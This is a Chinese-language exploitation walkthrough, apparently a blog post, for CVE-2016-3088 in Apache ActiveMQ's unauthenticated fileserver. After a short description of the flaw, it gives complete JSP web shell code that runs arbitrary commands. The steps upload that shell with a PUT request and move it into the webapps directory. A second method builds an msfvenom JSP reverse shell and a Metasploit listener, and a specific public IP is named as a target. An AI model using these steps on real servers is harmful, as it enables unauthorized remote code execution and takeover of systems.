簡介:2016年4月14日,國外安全研究人員 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多個安全漏洞,可以使遠程***者用惡意代碼替代Web應用,在受影響系統上執行遠程代碼(CVE-2016-3088)。 8161端口爲web控制檯端口,本漏洞就出如今web控制檯中。 ActiveMQ的web控制檯分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是接口,fileserver是儲存文件的接口;admin和api都須要登陸後才能使用,fileserver無需登陸。 fileserver是一個RESTful API接口,咱們能夠經過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操做,其設計目的是爲了彌補消息隊列操做不能傳輸、存儲二進制文件的缺陷,但後來發現:其使用率並不高並且文件操做容易出現漏洞。 因此,ActiveMQ在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(你能夠conf/jetty.xml中開啓之);在5.14.0版本之後,完全刪除了fileserver應用。
方法1.直接寫shell
訪問http://120.79.1.70:8161/fileserver 直接用bp攔截以後把post改爲put 在日後面加幾行java
<%@ page import="java.util.*,java.io.*"%> <% %> <HTML><BODY> <FORM METHOD="GET" NAME="comments" ACTION=""> <INPUT TYPE="text" NAME="comment"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if ( request.getParameter( "comment" ) != null ) { out.println( "Command: " + request.getParameter( "comment" ) + "<BR>" ); Process p = Runtime.getRuntime().exec( request.getParameter( "comment" ) ); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream( in ); String disr = dis.readLine(); while ( disr != null ) { out.println( disr ); disr = dis.readLine(); } } %> </pre> </BODY></HTML>
以下圖:chen.txt:web
返回204表明成功,以後再把put改爲move 後面再加一行shell
Destination:file:///opt/activemq/webapps/api/s.jsp
最後直接訪問 後面加一個api就成功了api
方法2.利用 cron 定時任務寫 shell
如今kali裏面生成一個***
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.199.109 LPORT=9999 r> bing.jsp
再把他上傳到桌面進行打開以下圖:安全
以後和以前同樣 在第一行的後面添加一行app
Destination:file:///opt/activemq/webapps/api/s.jsp
到網站上進行查看有沒有webapp
以後打開kali jsp
use exploit/multi/handler set payload java/jsp_shell_reverse_tcp set lhost 192.168.199.109 set lport 9999 run
進行監聽就成功了!tcp